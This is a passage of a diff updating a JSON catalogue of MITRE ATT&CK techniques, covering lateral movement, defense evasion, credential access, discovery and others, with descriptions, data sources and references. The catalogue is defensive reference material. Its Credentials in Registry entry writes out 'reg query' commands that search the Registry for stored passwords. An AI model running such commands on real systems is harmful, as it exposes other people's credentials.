"mitre-attack:discovery" + ], "mitre_data_sources": [ + "API monitoring", "Process monitoring", "Process command-line parameters" ], "mitre_platforms": [ - "Windows Server 2003", - "Windows Server 2008", - "Windows Server 2012", - "Windows XP", - "Windows 7", - "Windows 8", - "Windows Server 2003 R2", - "Windows Server 2008 R2", - "Windows Server 2012 R2", - "Windows Vista", - "Windows 8.1", - "Windows 10" + "Linux", + "macOS", + "Windows" ], "refs": [ - "https://attack.mitre.org/wiki/Technique/T1007" - ], - "uuid": "322bad5a-1c49-4d23-ab79-76d641794afa" + "https://attack.mitre.org/techniques/T1069", + "https://capec.mitre.org/data/definitions/576.html" + ] }, - "value": "System Service Discovery" + "uuid": "15dbf668-795c-41e6-8219-f0447c0e64ce", + "value": "Permission Groups Discovery - T1069" }, { - "description": "Adversaries may disable security tools to avoid possible detection of their tools and activities. This can take the form of killing security software or event logging processes, deleting Registry keys so that tools do not start at run time, or other methods to interfere with security scanning or event reporting.\n\nDetection: Monitor processes and command-line arguments to see if security tools are killed or stop running. Monitor Registry edits for modifications to services and startup programs that correspond to security tools. Lack of log or event file reporting may be suspicious.\n\nPlatforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Windows 10, Linux, MacOS, OS X\n\nData Sources: API monitoring, File monitoring, Services, Windows Registry, Process command-line parameters, Anti-virus", + "description": "Windows systems have hidden network shares that are accessible only to administrators and provide the ability for remote file copy and other administrative functions. Example network shares include C$, ADMIN$, and IPC$. \n\nAdversaries may use this technique in conjunction with administrator-level [Valid Accounts](https://attack.mitre.org/techniques/T1078) to remotely access a networked system over server message block (SMB) (Citation: Wikipedia SMB) to interact with systems using remote procedure calls (RPCs), (Citation: TechNet RPC) transfer files, and run transferred binaries through remote Execution. Example execution techniques that rely on authenticated sessions over SMB/RPC are [Scheduled Task](https://attack.mitre.org/techniques/T1053), [Service Execution](https://attack.mitre.org/techniques/T1035), and [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047). Adversaries can also use NTLM hashes to access administrator shares on systems with [Pass the Hash](https://attack.mitre.org/techniques/T1075) and certain configuration and patch levels. (Citation: Microsoft Admin Shares)\n\nThe [Net](https://attack.mitre.org/software/S0039) utility can be used to connect to Windows admin shares on remote systems using net use commands with valid credentials. (Citation: Technet Net Use)", "meta": { + "external_id": "CAPEC-561", + "kill_chain": [ + "mitre-attack:lateral-movement" + ], + "mitre_data_sources": [ + "Process use of network", + "Authentication logs", + "Process monitoring", + "Process command-line parameters" + ], + "mitre_platforms": [ + "Windows" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1077", + "https://capec.mitre.org/data/definitions/561.html", + "http://support.microsoft.com/kb/314984", + "http://blogs.technet.com/b/jepayne/archive/2015/11/27/tracking-lateral-movement-part-one-special-groups-and-specific-service-accounts.aspx", + "http://blogs.technet.com/b/jepayne/archive/2015/11/24/monitoring-what-matters-windows-event-forwarding-for-everyone-even-if-you-already-have-a-siem.aspx", + "https://en.wikipedia.org/wiki/Server_Message_Block", + "https://technet.microsoft.com/en-us/library/cc787851.aspx", + "https://technet.microsoft.com/bb490717.aspx" + ] + }, + "uuid": "ffe742ed-9100-4686-9e00-c331da544787", + "value": "Windows Admin Shares - T1077" + }, + { + "description": "Pass the ticket (PtT) is a method of authenticating to a system using Kerberos tickets without having access to an account's password. Kerberos authentication can be used as the first step to lateral movement to a remote system.\n\nIn this technique, valid Kerberos tickets for [Valid Accounts](https://attack.mitre.org/techniques/T1078) are captured by [Credential Dumping](https://attack.mitre.org/techniques/T1003). A user's service tickets or ticket granting ticket (TGT) may be obtained, depending on the level of access. A service ticket allows for access to a particular resource, whereas a TGT can be used to request service tickets from the Ticket Granting Service (TGS) to access any resource the user has privileges to access. (Citation: ADSecurity AD Kerberos Attacks) (Citation: GentilKiwi Pass the Ticket)\n\nSilver Tickets can be obtained for services that use Kerberos as an authentication mechanism and are used to generate tickets to access that particular resource and the system that hosts the resource (e.g., SharePoint). (Citation: ADSecurity AD Kerberos Attacks)\n\nGolden Tickets can be obtained for the domain using the Key Distribution Service account KRBTGT account NTLM hash, which enables generation of TGTs for any account in Active Directory. (Citation: Campbell 2014)", + "meta": { + "external_id": "T1097", + "kill_chain": [ + "mitre-attack:lateral-movement" + ], + "mitre_data_sources": [ + "Authentication logs" + ], + "mitre_platforms": [ + "Windows" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1097", + "http://defcon.org/images/defcon-22/dc-22-presentations/Campbell/DEFCON-22-Christopher-Campbell-The-Secret-Life-of-Krbtgt.pdf", + "https://adsecurity.org/?p=556", + "http://blog.gentilkiwi.com/securite/mimikatz/pass-the-ticket-kerberos", + "https://cert.europa.eu/static/WhitePapers/UPDATED%20-%20CERT-EU_Security_Whitepaper_2014-007_Kerberos_Golden_Ticket_Protection_v1_4.pdf" + ] + }, + "uuid": "a257ed11-ff3b-4216-8c9d-3938ef57064c", + "value": "Pass the Ticket - T1097" + }, + { + "description": "Adversaries may disable security tools to avoid possible detection of their tools and activities. This can take the form of killing security software or event logging processes, deleting Registry keys so that tools do not start at run time, or other methods to interfere with security scanning or event reporting.", + "meta": { + "external_id": "CAPEC-578", + "kill_chain": [ + "mitre-attack:defense-evasion" + ], "mitre_data_sources": [ "API monitoring", "File monitoring", @@ -1905,566 +5174,1707 @@ "Anti-virus" ], "mitre_platforms": [ - "Windows Server 2003", - "Windows Server 2008", - "Windows Server 2012", - "Windows XP", - "Windows 7", - "Windows 8", - "Windows Server 2003 R2", - "Windows Server 2008 R2", - "Windows Server 2012 R2", - "Windows Vista", - "Windows 8.1", - "Windows 10", "Linux", - "MacOS", - "OS X" + "macOS", + "Windows" ], "refs": [ - "https://attack.mitre.org/wiki/Technique/T1089" - ], - "uuid": "2e0dd10b-676d-4964-acd0-8a404c92b044" + "https://attack.mitre.org/techniques/T1089", + "https://capec.mitre.org/data/definitions/578.html" + ] }, - "value": "Disabling Security Tools" + "uuid": "2e0dd10b-676d-4964-acd0-8a404c92b044", + "value": "Disabling Security Tools - T1089" }, { - "description": "The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.Net on Windows by performing net time \\\\hostname to gather the system time on a remote system. The victim's time zone may also be inferred from the current system time or gathered by using w32tm /tz.Scheduled Task[[Citation: RSA EU12 They're Inside]], or to discover locality information based on time zone to assist in victim targeting.\n\nDetection: Command-line interface monitoring may be useful to detect instances of net.exe or other command-line utilities being used to gather system time or time zone. Methods of detecting API use for gathering this information are likely less useful due to how often they may be used by legitimate software.\n\nPlatforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Windows 10\n\nData Sources: Process monitoring, Process command-line parameters, API monitoring", + "description": "User Interface Spoofing can be used to trick users into providing sensitive information, such as account credentials, bank account information, or Personally Identifiable Information (PII) to an unintended entity.\n\nAt least three methods exist to perform User Interface Spoofing:\n\nFirst, on both Android and iOS, an adversary could impersonate the user interface of a legitimate app or device function to trick a user into entering sensitive information. The constrained display size of mobile devices (compared to traditional PC displays) may impair the ability to provide the user with contextual information (for example, displaying a full web site address) that may alert the user to a potential issue. (Citation: Felt-PhishingOnMobileDevices) As described by PRE-ATT&CK ([Spearphishing for information](https://attack.mitre.org/techniques/T1397)), it is also possible for an adversary to carry out this form of the technique without a direct adversary presence on the mobile devices, e.g. through a spoofed web page.\n\nSecond, on both Android and iOS, a malicious app could impersonate the identity of another app (e.g. use the same app name and/or icon) and somehow get installed on the device (e.g. using [Deliver Malicious App via Authorized App Store](https://attack.mitre.org/techniques/T1475) or [Deliver Malicious App via Other Means](https://attack.mitre.org/techniques/T1476). The malicious app could then prompt the user for sensitive information. (Citation: eset-finance)\n\nThird, on older versions of Android, a malicious app could abuse mobile operating system features to interfere with a running legitimate app. (Citation: Felt-PhishingOnMobileDevices) (Citation: Hassell-ExploitingAndroid) However, this technique appears to have been addressed starting in Android 5.0 with the deprecation of the Android's ActivityManager.getRunningTasks method and modification of its behavior (Citation: Android-getRunningTasks) and further addressed in Android 5.1.1 (Citation: StackOverflow-getRunningAppProcesses) to prevent a malicious app from determining what app is currently in the foreground.", "meta": { + "external_id": "APP-31", + "kill_chain": [ + "mitre-mobile-attack:credential-access" + ], + "mitre_platforms": [ + "Android", + "iOS" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1411", + "https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-31.html", + "http://w2spconf.com/2011/papers/felt-mobilephishing.pdf", + "https://developer.android.com/reference/android/app/ActivityManager.html#getRunningTasks%28int%29", + "http://stackoverflow.com/questions/30619349/android-5-1-1-and-above-getrunningappprocesses-returns-my-application-packag", + "https://www.welivesecurity.com/2018/09/19/fake-finance-apps-google-play-target-around-world/" + ] + }, + "uuid": "3dd58c80-4c2e-458c-9503-1b2cd273c4d2", + "value": "User Interface Spoofing - T1411" + }, + { + "description": "Adversaries can hide a program's true filetype by changing the extension of a file. With certain file types (specifically this does not work with .app extensions), appending a space to the end of a filename will change how the file is processed by the operating system. For example, if there is a Mach-O executable file called evil.bin, when it is double clicked by a user, it will launch Terminal.app and execute. If this file is renamed to evil.txt, then when double clicked by a user, it will launch with the default text editing application (not executing the binary). However, if the file is renamed to \"evil.txt \" (note the space at the end), then when double clicked by a user, the true file type is determined by the OS and handled appropriately and the binary will be executed (Citation: Mac Backdoors are back). \n\nAdversaries can use this feature to trick users into double clicking benign-looking files of any format and ultimately executing something malicious.", + "meta": { + "external_id": "T1151", + "kill_chain": [ + "mitre-attack:defense-evasion", + "mitre-attack:execution" + ], + "mitre_data_sources": [ + "File monitoring", + "Process monitoring" + ], + "mitre_platforms": [ + "Linux", + "macOS" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1151", + "https://arstechnica.com/security/2016/07/after-hiatus-in-the-wild-mac-backdoors-are-suddenly-back/" + ] + }, + "uuid": "e2907cea-4b43-4ed7-a570-0fdf0fbeea00", + "value": "Space after Filename - T1151" + }, + { + "description": "Strategic plans outline the mission, vision, and goals for an adversary at a high level in relation to the key partners, topics, and functions the adversary carries out. (Citation: KPMGChina5Year) (Citation: China5YearPlans) (Citation: ChinaUN)", + "meta": { + "external_id": "T1231", + "kill_chain": [ + "mitre-pre-attack:priority-definition-planning" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1231" + ] + }, + "uuid": "ec739e26-d097-4804-b04a-54dd81ff11e0", + "value": "Create strategic plan - T1231" + }, + { + "description": "A malicious application could capture sensitive data sent via SMS, including authentication credentials. SMS is frequently used to transmit codes used for multi-factor authentication.\n\nOn Android, a malicious application must request and obtain permission (either at app install time or run time) in order to receive SMS messages. Alternatively, a malicious application could attempt to perform an operating system privilege escalation attack to bypass the permission requirement.\n\nOn iOS, applications cannot access SMS messages in normal operation, so an adversary would need to attempt to perform an operating system privilege escalation attack to potentially be able to access SMS messages.", + "meta": { + "external_id": "T1412", + "kill_chain": [ + "mitre-mobile-attack:collection", + "mitre-mobile-attack:credential-access" + ], + "mitre_platforms": [ + "Android", + "iOS" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1412" + ] + }, + "uuid": "e8b4e1ec-8e3b-484c-9038-4459b1ed8060", + "value": "Capture SMS Messages - T1412" + }, + { + "description": "The Windows Registry stores configuration information that can be used by the system or other programs. Adversaries may query the Registry looking for credentials and passwords that have been stored for use by other programs or services. Sometimes these credentials are used for automatic logons.\n\nExample commands to find Registry keys related to password information: (Citation: Pentestlab Stored Credentials)\n\n* Local Machine Hive: reg query HKLM /f password /t REG_SZ /s\n* Current User Hive: reg query HKCU /f password /t REG_SZ /s", + "meta": { + "external_id": "T1214", + "kill_chain": [ + "mitre-attack:credential-access" + ], + "mitre_data_sources": [ + "Windows Registry", + "Process command-line parameters", + "Process monitoring" + ], + "mitre_platforms": [ + "Windows" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1214", + "https://pentestlab.blog/2017/04/19/stored-credentials/" + ] + }, + "uuid": "2edd9d6a-5674-4326-a600-ba56de467286", + "value": "Credentials in Registry - T1214" + }, + { + "description": "The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network. (Citation: MSDN System Time) (Citation: Technet Windows Time Service)\n\nAn adversary may gather the system time and/or time zone from a local or remote system. This information may be gathered in a number of ways, such as with [Net](https://attack.mitre.org/software/S0039) on Windows by performing net time \\\\hostname to gather the system time on a remote system. The victim's time zone may also be inferred from the current system time or gathered by using w32tm /tz. (Citation: Technet Windows Time Service) The information could be useful for performing other techniques, such as executing a file with a [Scheduled Task](https://attack.mitre.org/techniques/T1053) (Citation: RSA EU12 They're Inside), or to discover locality information based on time zone to assist in victim targeting.", + "meta": { + "external_id": "T1124", + "kill_chain": [ + "mitre-attack:discovery" + ], "mitre_data_sources": [ "Process monitoring", "Process command-line parameters", "API monitoring" ], "mitre_platforms": [ - "Windows Server 2003", - "Windows Server 2008", - "Windows Server 2012", - "Windows XP", - "Windows 7", - "Windows 8", - "Windows Server 2003 R2", - "Windows Server 2008 R2", - "Windows Server 2012 R2", - "Windows Vista", - "Windows 8.1", - "Windows 10" + "Windows" ], "refs": [ - "https://attack.mitre.org/wiki/Technique/T1124", - "https://technet.microsoft.com/windows-server-docs/identity/ad-ds/get-started/windows-time-service/windows-time-service-tools-and-settings", + "https://attack.mitre.org/techniques/T1124", "https://msdn.microsoft.com/ms724961.aspx", - "https://www.rsaconference.com/writable/presentations/file%20upload/ht-209%20rivner%20schwartz.pdf" - ], - "uuid": "f3c544dc-673c-4ef3-accb-53229f1ae077" + "https://www.rsaconference.com/writable/presentations/file_upload/ht-209_rivner_schwartz.pdf", + "https://technet.microsoft.com/windows-server-docs/identity/ad-ds/get-started/windows-time-service/windows-time-service-tools-and-settings" + ] }, - "value": "System Time Discovery" + "uuid": "f3c544dc-673c-4ef3-accb-53229f1ae077", + "value": "System Time Discovery - T1124" }, { - "description": "There are many utilities used for software development related tasks that can be used to execute code in various forms to assist in development, debugging, and reverse engineering. These utilities may often be signed with legitimate certificates that allow them to execute on a system and proxy execution of malicious code through a trusted process that effectively bypasses application whitelisting defensive solutions.\n\n===MSBuild===\n\nMSBuild.exe (Microsoft Build Engine) is a software build platform used by Visual Studio. It takes XML formatted project files that define requirements for building various platforms and configurations.[[Citation: MSDN MSBuild]] \n\nAdversaries can use MSBuild to proxy execution of code through a trusted Windows utility. The inline task capability of MSBuild that was introduced in .NET version 4 allows for C# code to be inserted into the XML project file.[[Citation: MSDN MSBuild Inline Tasks]] MSBuild will compile and execute the inline task. MSBuild.exe is a signed Microsoft binary, so when it is used this way it can execute arbitrary code and bypass application whitelisting defenses that are configured to allow MSBuild.exe execution.[[Citation: SubTee GitHub All The Things Application Whitelisting Bypass]]\n\n===DNX===\n\nThe .NET Execution Environment (DNX), dnx.exe, is a software development kit packaged with Visual Studio Enterprise. It was retired in favor of .NET Core CLI in 2016.[[Citation: Microsoft Migrating from DNX]] DNX is not present on standard builds of Windows and may only be present on developer workstations using older versions of .NET Core and ASP.NET Core 1.0. The dnx.exe executable is signed by Microsoft. \n\nAn adversary can use dnx.exe to proxy execution of arbitrary code to bypass application whitelist policies that do not account for DNX.[[Citation: engima0x3 DNX Bypass]]\n\n===RCSI===\n\nThe rcsi.exe utility is a non-interactive command-line interface for C# that is similar to csi.exe. It was provided within an early version of the Roslyn .NET Compiler Platform but has since been deprecated for an integrated solution.[[Citation: Microsoft Roslyn CPT RCSI]] The rcsi.exe binary is signed by Microsoft.[[Citation: engima0x3 RCSI Bypass]]\n\nC# .csx script files can be written and executed with rcsi.exe at the command-line. An adversary can use rcsi.exe to proxy execution of arbitrary code to bypass application whitelisting policies that do not account for execution of rcsi.exe.[[Citation: engima0x3 RCSI Bypass]]\n\n===WinDbg/CDB===\n\nWinDbg is a Microsoft Windows kernel and user-mode debugging utility. The Microsoft Console Debugger (CDB) cdb.exe is also user-mode debugger. Both utilities are included in Windows software development kits and can be used as standalone tools.[[Citation: Microsoft Debugging Tools for Windows]] They are commonly used in software development and reverse engineering and may not be found on typical Windows systems. Both WinDbg.exe and cdb.exe binaries are signed by Microsoft.\n\nAn adversary can use WinDbg.exe and cdb.exe to proxy execution of arbitrary code to bypass application whitelist policies that do not account for execution of those utilities.[[Citation: Exploit Monday WinDbg]]\n\nIt is likely possible to use other debuggers for similar purposes, such as the kernel-mode debugger kd.exe, which is also signed by Microsoft.\n\nDetection: The presence of these or other utilities that enable proxy execution that are typically used for development, debugging, and reverse engineering on a system that is not used for these purposes may be suspicious.\n\nUse process monitoring to monitor the execution and arguments of MSBuild.exe, dnx.exe, rcsi.exe, WinDbg.exe, and cdb.exe. Compare recent invocations of those binaries with prior history of known good arguments and executed binaries to determine anomalous and potentially adversarial activity. It is likely that these utilities will be used by software developers or for other software development related tasks, so if it exists and is used outside of that context, then the event may be suspicious. Command arguments used before and after invocation of the utilities may also be useful in determining the origin and purpose of the binary being executed.\n\nPlatforms: Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Windows 10\n\nData Sources: Process monitoring\n\nContributors: Casey Smith", + "description": "An adversary undergoes an iterative target selection process that may begin either broadly and narrow down into specifics (strategic to tactical) or narrowly and expand outward (tactical to strategic). As part of this process, an adversary may determine a high level target they wish to attack. One example of this may be a particular country, government, or commercial sector. (Citation: CyberAdversaryBehavior) (Citation: JP3-60) (Citation: JP3-12R) (Citation: DoD Cyber 2015)", "meta": { + "external_id": "T1241", + "kill_chain": [ + "mitre-pre-attack:target-selection" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1241" + ] + }, + "uuid": "91a3735f-817a-4450-8ed4-f05a0f5c3877", + "value": "Determine strategic target - T1241" + }, + { + "description": "Adversaries may enumerate browser bookmarks to learn more about compromised hosts. Browser bookmarks may reveal personal information about users (ex: banking sites, interests, social media, etc.) as well as details about internal network resources such as servers, tools/dashboards, or other related infrastructure.\n\nBrowser bookmarks may also highlight additional targets after an adversary has access to valid credentials, especially [Credentials in Files](https://attack.mitre.org/techniques/T1081) associated with logins cached by a browser.\n\nSpecific storage locations vary based on platform and/or application, but browser bookmarks are typically stored in local files/databases.", + "meta": { + "external_id": "T1217", + "kill_chain": [ + "mitre-attack:discovery" + ], + "mitre_data_sources": [ + "API monitoring", + "File monitoring", + "Process command-line parameters", + "Process monitoring" + ], + "mitre_platforms": [ + "Linux", + "Windows", + "macOS" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1217" + ] + }, + "uuid": "5e4a2073-9643-44cb-a0b5-e7f4048446c7", + "value": "Browser Bookmark Discovery - T1217" + }, + { + "description": "There are many utilities used for software development related tasks that can be used to execute code in various forms to assist in development, debugging, and reverse engineering. These utilities may often be signed with legitimate certificates that allow them to execute on a system and proxy execution of malicious code through a trusted process that effectively bypasses application whitelisting defensive solutions.\n\n### MSBuild\n\nMSBuild.exe (Microsoft Build Engine) is a software build platform used by Visual Studio. It takes XML formatted project files that define requirements for building various platforms and configurations. (Citation: MSDN MSBuild) \n\nAdversaries can use MSBuild to proxy execution of code through a trusted Windows utility. The inline task capability of MSBuild that was introduced in .NET version 4 allows for C# code to be inserted into the XML project file. (Citation: MSDN MSBuild) Inline Tasks MSBuild will compile and execute the inline task. MSBuild.exe is a signed Microsoft binary, so when it is used this way it can execute arbitrary code and bypass application whitelisting defenses that are configured to allow MSBuild.exe execution. (Citation: SubTee GitHub All The Things Application Whitelisting Bypass)\n\n### DNX\n\nThe .NET Execution Environment (DNX), dnx.exe, is a software development kit packaged with Visual Studio Enterprise. It was retired in favor of .NET Core CLI in 2016. (Citation: Microsoft Migrating from DNX) DNX is not present on standard builds of Windows and may only be present on developer workstations using older versions of .NET Core and ASP.NET Core 1.0. The dnx.exe executable is signed by Microsoft. \n\nAn adversary can use dnx.exe to proxy execution of arbitrary code to bypass application whitelist policies that do not account for DNX. (Citation: engima0x3 DNX Bypass)\n\n### RCSI\n\nThe rcsi.exe utility is a non-interactive command-line interface for C# that is similar to csi.exe. It was provided within an early version of the Roslyn .NET Compiler Platform but has since been deprecated for an integrated solution. (Citation: Microsoft Roslyn CPT RCSI) The rcsi.exe binary is signed by Microsoft. (Citation: engima0x3 RCSI Bypass)\n\nC# .csx script files can be written and executed with rcsi.exe at the command-line. An adversary can use rcsi.exe to proxy execution of arbitrary code to bypass application whitelisting policies that do not account for execution of rcsi.exe. (Citation: engima0x3 RCSI Bypass)\n\n### WinDbg/CDB\n\nWinDbg is a Microsoft Windows kernel and user-mode debugging utility. The Microsoft Console Debugger (CDB) cdb.exe is also user-mode debugger. Both utilities are included in Windows software development kits and can be used as standalone tools. (Citation: Microsoft Debugging Tools for Windows) They are commonly used in software development and reverse engineering and may not be found on typical Windows systems. Both WinDbg.exe and cdb.exe binaries are signed by Microsoft.\n\nAn adversary can use WinDbg.exe and cdb.exe to proxy execution of arbitrary code to bypass application whitelist policies that do not account for execution of those utilities. (Citation: Exploit Monday WinDbg)\n\nIt is likely possible to use other debuggers for similar purposes, such as the kernel-mode debugger kd.exe, which is also signed by Microsoft.\n\n### Tracker\n\nThe file tracker utility, tracker.exe, is included with the .NET framework as part of MSBuild. It is used for logging calls to the Windows file system. (Citation: Microsoft Docs File Tracking)\n\nAn adversary can use tracker.exe to proxy execution of an arbitrary DLL into another process. Since tracker.exe is also signed it can be used to bypass application whitelisting solutions. (Citation: Twitter SubTee Tracker.exe)", + "meta": { + "external_id": "T1127", + "kill_chain": [ + "mitre-attack:defense-evasion", + "mitre-attack:execution" + ], "mitre_data_sources": [ "Process monitoring" ], "mitre_platforms": [ - "Windows Server 2012", - "Windows XP", - "Windows 7", - "Windows 8", - "Windows Server 2008 R2", - "Windows Server 2012 R2", - "Windows Vista", - "Windows 8.1", - "Windows 10" + "Windows" ], "refs": [ - "https://attack.mitre.org/wiki/Technique/T1127", - "https://enigma0x3.net/2016/11/17/bypassing-application-whitelisting-by-using-dnx-exe/", - "https://msdn.microsoft.com/library/dd722601.aspx", - "https://blogs.msdn.microsoft.com/visualstudio/2011/10/19/introducing-the-microsoft-roslyn-ctp/", - "https://docs.microsoft.com/en-us/windows-hardware/drivers/debugger/index", - "https://github.com/subTee/AllTheThings", + "https://attack.mitre.org/techniques/T1127", "https://msdn.microsoft.com/library/dd393574.aspx", - "http://www.exploit-monday.com/2016/08/windbg-cdb-shellcode-runner.html", + "https://docs.microsoft.com/en-us/dotnet/core/migration/from-dnx", + "https://enigma0x3.net/2016/11/17/bypassing-application-whitelisting-by-using-dnx-exe/", + "https://blogs.msdn.microsoft.com/visualstudio/2011/10/19/introducing-the-microsoft-roslyn-ctp/", "https://enigma0x3.net/2016/11/21/bypassing-application-whitelisting-by-using-rcsi-exe/", - "https://docs.microsoft.com/en-us/dotnet/core/migration/from-dnx" - ], - "uuid": "ff25900d-76d5-449b-a351-8824e62fc81b" + "https://docs.microsoft.com/en-us/windows-hardware/drivers/debugger/index", + "http://www.exploit-monday.com/2016/08/windbg-cdb-shellcode-runner.html", + "https://docs.microsoft.com/visualstudio/msbuild/file-tracking", + "https://twitter.com/subTee/status/793151392185589760" + ] }, - "value": "Trusted Developer Utilities" + "uuid": "ff25900d-76d5-449b-a351-8824e62fc81b", + "value": "Trusted Developer Utilities - T1127" }, { - "description": "Windows service configuration information, including the file path to the service's executable, is stored in the Registry. Service configurations can be modified using utilities such as sc.exe and Reg.\n\nAdversaries can modify an existing service to persist malware on a system by using system utilities or by using custom tools to interact with the Windows API. Use of existing services is a type of Masquerading that may make detection analysis more challenging. Modifying existing services may interrupt their functionality or may enable services that are disabled or otherwise not commonly used.\n\nDetection: Look for changes to service Registry entries that do not correlate with known software, patch cycles, etc. Changes to the binary path and the service startup type changed from manual or disabled to automatic, if it does not typically do so, may be suspicious. Tools such as Sysinternals Autoruns may also be used to detect system service changes that could be attempts at persistence.cmd commands or scripts.\n\nLook for abnormal process call trees from known services and for execution of other commands that could relate to Windows Management Instrumentation and PowerShell, so additional logging may need to be configured to gather the appropriate data.\n\nPlatforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Windows 10\n\nData Sources: Windows Registry, File monitoring, Process monitoring, Process command-line parameters", + "description": "Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system. It contains functionality to add helper DLLs for extending functionality of the utility. (Citation: TechNet Netsh) The paths to registered netsh.exe helper DLLs are entered into the Windows Registry at HKLM\\SOFTWARE\\Microsoft\\Netsh.\n\nAdversaries can use netsh.exe with helper DLLs to proxy execution of arbitrary code in a persistent manner when netsh.exe is executed automatically with another Persistence technique or if other persistent software is present on the system that executes netsh.exe as part of its normal functionality. Examples include some VPN software that invoke netsh.exe. (Citation: Demaske Netsh Persistence)\n\nProof of concept code exists to load Cobalt Strike's payload using netsh.exe helper DLLs. (Citation: Github Netsh Helper CS Beacon)", "meta": { + "external_id": "T1128", + "kill_chain": [ + "mitre-attack:persistence" + ], "mitre_data_sources": [ + "DLL monitoring", "Windows Registry", + "Process monitoring" + ], + "mitre_platforms": [ + "Windows" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1128", + "https://technet.microsoft.com/library/bb490939.aspx", + "https://htmlpreview.github.io/?https://github.com/MatthewDemaske/blogbackup/blob/master/netshell.html", + "https://github.com/outflankbv/NetshHelperBeacon" + ] + }, + "uuid": "bb0e0cb5-f3e4-4118-a4cb-6bf13bfbc9f2", + "value": "Netsh Helper DLL - T1128" + }, + { + "description": "An adversary may use legitimate desktop support and remote access software, such as Team Viewer, Go2Assist, LogMein, AmmyyAdmin, etc, to establish an interactive command and control channel to target systems within networks. These services are commonly used as legitimate technical support software, and may be whitelisted within a target environment. Remote access tools like VNC, Ammy, and Teamviewer are used frequently when compared with other legitimate software commonly used by adversaries. (Citation: Symantec Living off the Land)\n\nRemote access tools may be established and used post-compromise as alternate communications channel for [Redundant Access](https://attack.mitre.org/techniques/T1108) or as a way to establish an interactive remote desktop session with the target system. They may also be used as a component of malware to establish a reverse connection or back-connect to a service or adversary controlled system.\n\nAdmin tools such as TeamViewer have been used by several groups targeting institutions in countries of interest to the Russian state and criminal campaigns. (Citation: CrowdStrike 2015 Global Threat Report) (Citation: CrySyS Blog TeamSpy)", + "meta": { + "external_id": "T1219", + "kill_chain": [ + "mitre-attack:command-and-control" + ], + "mitre_data_sources": [ + "Network intrusion detection system", + "Network protocol analysis", + "Process use of network", + "Process monitoring" + ], + "mitre_platforms": [ + "Linux", + "Windows", + "macOS" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1219", + "https://www.symantec.com/content/dam/symantec/docs/security-center/white-papers/istr-living-off-the-land-and-fileless-attack-techniques-en.pdf", + "https://go.crowdstrike.com/rs/281-OBQ-266/images/15GlobalThreatReport.pdf", + "https://blog.crysys.hu/2013/03/teamspy/" + ] + }, + "uuid": "4061e78c-1284-44b4-9116-73e4ac3912f7", + "value": "Remote Access Tools - T1219" + }, + { + "description": "Remote services such as VPNs, Citrix, and other access mechanisms allow users to connect to internal enterprise network resources from external locations. There are often remote service gateways that manage connections and credential authentication for these services. Services such as [Windows Remote Management](https://attack.mitre.org/techniques/T1028) can also be used externally.\n\nAdversaries may use remote services to access and persist within a network. (Citation: Volexity Virtual Private Keylogging) Access to [Valid Accounts](https://attack.mitre.org/techniques/T1078) to use the service is often a requirement, which could be obtained through credential pharming or by obtaining the credentials from users after compromising the enterprise network. Access to remote services may be used as part of [Redundant Access](https://attack.mitre.org/techniques/T1108) during an operation.", + "meta": { + "external_id": "T1133", + "kill_chain": [ + "mitre-attack:persistence" + ], + "mitre_data_sources": [ + "Authentication logs" + ], + "mitre_platforms": [ + "Windows" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1133", + "https://www.volexity.com/blog/2015/10/07/virtual-private-keylogging-cisco-web-vpns-leveraged-for-access-and-persistence/" + ] + }, + "uuid": "10d51417-ee35-4589-b1ff-b6df1c334e8d", + "value": "External Remote Services - T1133" + }, + { + "description": "Obfuscation is the act of creating communications that are more difficult to understand. Encryption transforms the communications such that it requires a key to reverse the encryption. (Citation: FireEyeAPT28)", + "meta": { + "external_id": "T1313", + "kill_chain": [ + "mitre-pre-attack:adversary-opsec" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1313" + ] + }, + "uuid": "c2ffd229-11bb-4fd8-9208-edbe97b14c93", + "value": "Obfuscation or cryptography - T1313" + }, + { + "description": "Windows uses access tokens to determine the ownership of a running process. A user can manipulate access tokens to make a running process appear as though it belongs to someone other than the user that started the process. When this occurs, the process also takes on the security context associated with the new token. For example, Microsoft promotes the use of access tokens as a security best practice. Administrators should log in as a standard user but run their tools with administrator privileges using the built-in access token manipulation command runas. (Citation: Microsoft runas)\n \nAdversaries may use access tokens to operate under a different user or system security context to perform actions and evade detection. An adversary can use built-in Windows API functions to copy access tokens from existing processes; this is known as token stealing. An adversary must already be in a privileged user context (i.e. administrator) to steal a token. However, adversaries commonly use token stealing to elevate their security context from the administrator level to the SYSTEM level. An adversary can use a token to authenticate to a remote system as the account for that token if the account has appropriate permissions on the remote system. (Citation: Pentestlab Token Manipulation)\n\nAccess tokens can be leveraged by adversaries through three methods: (Citation: BlackHat Atkinson Winchester Token Manipulation)\n\n**Token Impersonation/Theft** - An adversary creates a new access token that duplicates an existing token using DuplicateToken(Ex). The token can then be used with ImpersonateLoggedOnUser to allow the calling thread to impersonate a logged on user's security context, or with SetThreadToken to assign the impersonated token to a thread. This is useful for when the target user has a non-network 